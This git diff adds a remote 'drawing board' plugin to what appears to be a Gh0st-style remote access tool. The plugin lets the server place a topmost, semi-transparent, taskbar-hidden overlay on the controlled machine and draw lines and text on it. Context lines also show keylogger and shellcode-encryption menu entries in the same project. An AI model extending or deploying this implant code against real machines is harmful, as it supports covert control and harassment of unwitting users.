diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj index 3ed6eb6..34e7c79 100644 --- a/client/ClientDll_vs2015.vcxproj +++ b/client/ClientDll_vs2015.vcxproj @@ -193,6 +193,7 @@ + @@ -252,6 +253,7 @@ + diff --git a/client/Common.cpp b/client/Common.cpp index da691b9..2ffa531 100644 --- a/client/Common.cpp +++ b/client/Common.cpp @@ -6,6 +6,7 @@ #include "FileManager.h" #include "file/FileManager.h" #include "screenhide/ScreenHideManager.h" +#include "DrawingBoardMgr.h" #include "TalkManager.h" #include "ChatManager.h" #include "MachineManager.h" @@ -125,6 +126,11 @@ DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam) return LoopManager(lParam); } +DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam) +{ + return LoopManager(lParam); +} + DWORD WINAPI LoopShellManager(LPVOID lParam) { // Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe diff --git a/client/Common.h b/client/Common.h index e8fd74c..cd4fa80 100644 --- a/client/Common.h +++ b/client/Common.h @@ -32,6 +32,7 @@ DWORD WINAPI LoopChatManager(LPVOID lParam); DWORD WINAPI LoopMachineManager(LPVOID lParam); DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam); DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam); +DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam); DWORD WINAPI LoopProcessManager(LPVOID lParam); DWORD WINAPI LoopWindowManager(LPVOID lParam); DWORD WINAPI LoopVideoManager(LPVOID lParam); diff --git a/client/DrawingBoardMgr.cpp b/client/DrawingBoardMgr.cpp new file mode 100644 index 0000000..f8077ab --- /dev/null +++ b/client/DrawingBoardMgr.cpp @@ -0,0 +1,290 @@ +#include "DrawingBoardMgr.h" +#include + +#define MSG_CLEAR 999 + +namespace SimplePluginsDrawingBoard { + +DrawingBoardMgr::DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user): CManager(ClientObject) +{ + m_fAlpha = 150; + m_bIsWorking = TRUE; + m_bTopMost = TRUE; + m_hWnd = NULL; + m_textColor = RGB(255,0,0); + m_Font = CreateFont(20, 0, 0, 0, FW_NORMAL, FALSE, FALSE, FALSE, + DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, + DEFAULT_QUALITY, DEFAULT_PITCH | FF_SWISS, _T("Arial")); + m_DrawPen = CreatePen(PS_SOLID, 2, RGB(0, 0, 0)); + __CreateThread(NULL, 0, DrawingThreadProc, this, 0, NULL); + BYTE bToken = TOKEN_DRAWING_BOARD; + m_ClientObject->Send2Server((char*)&bToken, 1); +} + +DrawingBoardMgr::~DrawingBoardMgr() +{ + m_bIsWorking = FALSE; + while (m_hWnd) + Sleep(200); + DeleteObject(m_DrawPen); + DeleteObject(m_Font); +} + +DWORD WINAPI DrawingBoardMgr::DrawingThreadProc(LPVOID lpParam) +{ + Mprintf("Start DrawingThreadProc\n"); + DrawingBoardMgr* pThis = (DrawingBoardMgr*)lpParam; + pThis->RunWindowThread(); + pThis->m_bIsWorking = FALSE; + Mprintf("Stop DrawingThreadProc\n"); + return 0; +} + +void DrawingBoardMgr::RunWindowThread() +{ + const TCHAR CLASS_NAME[] = _T("DrawingBoardClass"); + static bool s_classRegistered = false; + if (!s_classRegistered) { + WNDCLASSEX wc = {}; + wc.cbSize = sizeof(WNDCLASSEX); + wc.lpfnWndProc = DrawingBoardMgr::WndProc; + wc.hInstance = GetModuleHandle(NULL); + wc.lpszClassName = CLASS_NAME; + wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1); + wc.hIcon = NULL; // 标题栏图标 + wc.hIconSm = NULL; // 小图标(Alt+Tab 和任务栏缩略图) + if (!RegisterClassEx(&wc)) { + Mprintf("RegisterClassEx failed: %d\n", GetLastError()); + } + s_classRegistered = true; + } + + DWORD dwStyle = WS_POPUP | WS_BORDER; + m_hWnd = CreateWindowEx( + WS_EX_TOOLWINDOW | WS_EX_LAYERED, CLASS_NAME, _T(""), + dwStyle, CW_USEDEFAULT, CW_USEDEFAULT, 800, 600, + NULL, NULL, GetModuleHandle(NULL), this + ); + if (m_hWnd == NULL) return; + + LONG style = GetWindowLong(m_hWnd, GWL_STYLE); + style |= WS_BORDER; // 增加窄边框 + style &= ~(WS_CAPTION | WS_THICKFRAME); // 去掉标题栏和可调整边框 + SetWindowLong(m_hWnd, GWL_STYLE, style); + + // 去掉系统菜单 + SetWindowPos(m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED); + BringWindowToTop(m_hWnd); + + // 透明度 + SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA); + + ShowWindow(m_hWnd, SW_SHOW); + UpdateWindow(m_hWnd); + + MSG msg; + while (GetMessage(&msg, NULL, 0, 0) && m_bIsWorking) { + TranslateMessage(&msg); + DispatchMessage(&msg); + Sleep(1); + } + if (m_hWnd) + PostMessage(m_hWnd, WM_CLOSE, 0, 0); + m_hWnd = NULL; // 线程退出后,窗口已销毁 +} + +LRESULT CALLBACK DrawingBoardMgr::WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) +{ + DrawingBoardMgr* pThis = nullptr; + + if (msg == WM_NCCREATE) { + CREATESTRUCT* cs = (CREATESTRUCT*)lParam; + pThis = (DrawingBoardMgr*)cs->lpCreateParams; + SetWindowLongPtr(hWnd, GWLP_USERDATA, (LONG_PTR)pThis); + } + else { + pThis = (DrawingBoardMgr*)GetWindowLongPtr(hWnd, GWLP_USERDATA); + } + + if (pThis) { + switch (msg) { + case WM_GETICON: + return NULL; + case WM_WINDOWPOSCHANGED: + { + WINDOWPOS* pwp = (WINDOWPOS*)lParam; + if (pThis->m_bTopMost && !(pwp->flags & SWP_NOZORDER)) { + // 如果窗口层级被改变,重新设置为顶层 + SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, + SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE); + } + break; + } + case WM_PAINT: + { + PAINTSTRUCT ps; + HDC hdc = BeginPaint(hWnd, &ps); + + HPEN hOldPen = (HPEN)SelectObject(hdc, pThis->m_DrawPen); + HFONT hOldFont = (HFONT)SelectObject(hdc, pThis->m_Font); + pThis->m_locker.lock(); + auto paths = pThis->m_Paths; + auto currentPath = pThis->m_CurrentPath; + auto texts = pThis->m_Texts; + pThis->m_locker.unlock(); + // 画所有历史路径 + for (const auto& path : paths) + { + if (path.size() >= 2) + Polyline(hdc, path.data(), (int)path.size()); + } + + // 画当前路径 + if (currentPath.size() >= 2) + { + Polyline(hdc, currentPath.data(), (int)currentPath.size()); + } + + // 绘制文字 + SetTextColor(hdc, pThis->m_textColor); // 设置文本颜色 + SetBkMode(hdc, TRANSPARENT); // 设置透明背景 + for (const auto& entry : texts) + TextOutA(hdc, entry.first.x, entry.first.y, entry.second.c_str(), entry.second.length()); + + SelectObject(hdc, hOldPen); + SelectObject(hdc, hOldFont); + + EndPaint(hWnd, &ps); + return 0; + } + case WM_DESTROY: + PostQuitMessage(0); + return 0; + case MSG_CLEAR: + pThis->m_locker.lock(); + pThis->m_Paths.clear(); + pThis->m_CurrentPath.clear(); + pThis->m_Texts.clear(); + pThis->m_locker.unlock(); + InvalidateRect(hWnd, NULL, TRUE); + break; + } + } + + return DefWindowProc(hWnd, msg, wParam, lParam); +} + +VOID DrawingBoardMgr::OnReceive(PBYTE szBuffer, ULONG ulLength) +{ + if (ulLength < 1) return; + + BYTE cmd = szBuffer[0]; + + switch (cmd) + { + case CMD_DRAW_POINT: + if (ulLength == sizeof(POINT) + 1) + { + POINT pt = *(POINT*)(szBuffer + 1); + m_locker.lock(); + m_CurrentPath.push_back(pt); + m_locker.unlock(); + if (m_hWnd) + InvalidateRect(m_hWnd, NULL, FALSE); + } + break; + case CMD_DRAW_END: + m_locker.lock(); + if (!m_CurrentPath.empty()) + { + m_Paths.push_back(m_CurrentPath); + m_CurrentPath.clear(); + if (m_hWnd) + InvalidateRect(m_hWnd, NULL, FALSE); + } + m_locker.unlock(); + break; + case CMD_TRANSPORT: + m_fAlpha = ulLength > 1 ? szBuffer[1] : m_fAlpha; + SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA); + break; + case CMD_TOPMOST: + m_bTopMost = ulLength > 1 ? szBuffer[1] : TRUE; + SetWindowPos(m_hWnd, m_bTopMost ? HWND_TOPMOST : HWND_NOTOPMOST, 0, 0, 0, 0, + SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED); + break; + case CMD_MOVEWINDOW: + if (ulLength == sizeof(RECT) + 1) + { + RECT rect = *(RECT*)(szBuffer + 1); + if (m_hWnd && IsWindow(m_hWnd)) + { + ::SetWindowPos(m_hWnd, HWND_TOP, rect.left, rect.top, + rect.right-rect.left, rect.bottom-rect.top, + SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE); + } + } + break; + case CMD_SET_SIZE: { + if (ulLength == sizeof(int) * 2 + 1) { + int x[2]; + memcpy(x, szBuffer + 1, sizeof(int) * 2); + if (IsWindow(m_hWnd)) { + ::SetWindowPos(m_hWnd, NULL, 0, 0, + x[0], x[1], SWP_NOZORDER | SWP_NOMOVE | SWP_NOACTIVATE); + } + } + break; + } + case CMD_DRAW_CLEAR: { + PostMessage(m_hWnd, MSG_CLEAR, 0, 0);; + break; + } + case CMD_DRAW_TEXT: { + ParseRemoteText(szBuffer + 1, ulLength - 1); + break; + } + default: + break; + } +} + +void DrawingBoardMgr::ParseRemoteText(PBYTE data, ULONG length) +{ + if (length < sizeof(POINT)) return; + + // 提取位置 + POINT pt = *(POINT*)data; + PBYTE textData = data + sizeof(POINT); + int textLen = (int)(length - sizeof(POINT)); + + // UTF-8 → WCHAR + int wideLen = MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, NULL, 0); + if (wideLen <= 0) return; + + std::wstring wstr(wideLen, 0); + MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, &wstr[0], wideLen); + +#ifdef _UNICODE + CString cstr(wstr.c_str()); +#else + // 若项目使用多字节字符集 + int ansiLen = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL); + std::string cstr; + if (ansiLen > 0) + { + std::string ansi(ansiLen - 1, 0); + WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, &ansi[0], ansiLen - 1, NULL, NULL); + cstr = ansi.c_str(); + } +#endif + + // 存入本地图形对象并刷新绘图区域 + m_locker.lock(); + m_Texts.push_back(std::make_pair(pt, cstr)); + m_locker.unlock(); + if (m_hWnd) + InvalidateRect(m_hWnd, NULL, FALSE); +} + +} // namespace SimplePluginsDrawingBoard diff --git a/client/DrawingBoardMgr.h b/client/DrawingBoardMgr.h new file mode 100644 index 0000000..c28882e --- /dev/null +++ b/client/DrawingBoardMgr.h @@ -0,0 +1,36 @@ +#pragma once +#include "Manager.h" +#include +#include +#include "common/locker.h" + +namespace SimplePluginsDrawingBoard { + +class DrawingBoardMgr : public CManager +{ +public: + DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user = nullptr); + ~DrawingBoardMgr(); + + virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength); + + void ParseRemoteText(PBYTE data, ULONG length); + +private: + BYTE m_fAlpha; // 透明度: 0-全透明, 255-不透明 + BOOL m_bTopMost; // 顶层 + BOOL m_bIsWorking; // 线程状态 + HWND m_hWnd; // 窗口 + std::vector> m_Paths; // 历史路径集合,每条路径是一组点 + std::vector m_CurrentPath; // 当前正在绘制的路径点集合 + std::vector> m_Texts; + HFONT m_Font; + COLORREF m_textColor; + HPEN m_DrawPen; + CLocker m_locker; + static DWORD WINAPI DrawingThreadProc(LPVOID lpParam); + void RunWindowThread(); + static LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); +}; + +} // namespace SimplePluginsDrawingBoard diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 39a9e9b..f8a25d7 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -1197,6 +1197,16 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) break; } + case COMMAND_DRAWING_BOARD_PLUGIN: { // 远程画板(SimplePlugins 迁移) + { + auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); + sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验 + m_hThread[m_ulThreadCount].p = sub; + } + m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopDrawingBoardPlugin, &m_hThread[m_ulThreadCount], 0, NULL);; + break; + } + case COMMAND_SHELL: { if (!ENABLE_SHELL) { return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1); diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj index 1b4bc70..46f8598 100644 --- a/client/ghost_vs2015.vcxproj +++ b/client/ghost_vs2015.vcxproj @@ -200,6 +200,7 @@ + @@ -262,6 +263,7 @@ + diff --git a/common/commands.h b/common/commands.h index 1a577c3..376c3b5 100644 --- a/common/commands.h +++ b/common/commands.h @@ -324,6 +324,7 @@ enum { COMMAND_MACHINE_MANAGE = 162, // 服务端 → 客户端:打开主机管理对话框 COMMAND_FILE_MANAGER_PLUGIN = 163, // 服务端 → 客户端:打开插件文件管理对话框(SimplePlugins 迁移) COMMAND_PRIVATE_SCREEN_PLUGIN = 164, // 服务端 → 客户端:打开隐私屏幕(虚拟桌面,SimplePlugins 迁移) + COMMAND_DRAWING_BOARD_PLUGIN = 165, // 服务端 → 客户端:打开远程画板(SimplePlugins 迁移) TOKEN_DECRYPT = 199, TOKEN_REGEDIT = 200, // 注册表 diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index e059125..aaa1897 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index d7c035a..893d4a3 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -998,6 +998,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_MACHINE_MANAGE, &CMy2015RemoteDlg::OnMachineManager) ON_COMMAND(ID_EXPERIMENT_FILE_MANAGER, &CMy2015RemoteDlg::OnExperimentFileManager) ON_COMMAND(ID_EXPERIMENT_PRIVATE_SCREEN, &CMy2015RemoteDlg::OnExperimentPrivateScreen) + ON_COMMAND(ID_EXPERIMENT_DRAWING_BOARD, &CMy2015RemoteDlg::OnExperimentDrawingBoard) ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings) ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray) ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger) @@ -4525,6 +4526,12 @@ void CMy2015RemoteDlg::OnExperimentPrivateScreen() SendSelectedCommand(&bToken, sizeof(BYTE)); } +void CMy2015RemoteDlg::OnExperimentDrawingBoard() +{ + BYTE bToken = COMMAND_DRAWING_BOARD_PLUGIN; //向被控端发送打开远程画板命令 + SendSelectedCommand(&bToken, sizeof(BYTE)); +} + // 从资源中读取被控端文件,并根据用户选择修改连接信息后返回给发送线程 BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, const char* resName, int iType, int iStartup, diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index d8ee22b..6210511 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -520,6 +520,7 @@ public: afx_msg void OnMachineManager(); afx_msg void OnExperimentFileManager(); afx_msg void OnExperimentPrivateScreen(); + afx_msg void OnExperimentDrawingBoard(); afx_msg void OnOnlineDelete(); afx_msg void OnOnlineUpdate(); afx_msg void OnAbout(); diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 3be548c..abf24e1 100644 --- a/server/2015Remote/resource.h +++ b/server/2015Remote/resource.h @@ -1014,6 +1014,7 @@ #define ID_TALK_MANAGE 33089 #define ID_EXPERIMENT_FILE_MANAGER 33090 #define ID_EXPERIMENT_PRIVATE_SCREEN 33091 +#define ID_EXPERIMENT_DRAWING_BOARD 33092 #define ID_33046 33046 #define ID_PROXY_PORT_AUTORUN 33047 #define ID_TRIGGER_SETTINGS 33048 @@ -1078,7 +1079,7 @@ #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS #define _APS_NEXT_RESOURCE_VALUE 407 -#define _APS_NEXT_COMMAND_VALUE 33092 +#define _APS_NEXT_COMMAND_VALUE 33093 #define _APS_NEXT_CONTROL_VALUE 2593 #define _APS_NEXT_SYMED_VALUE 105 #endif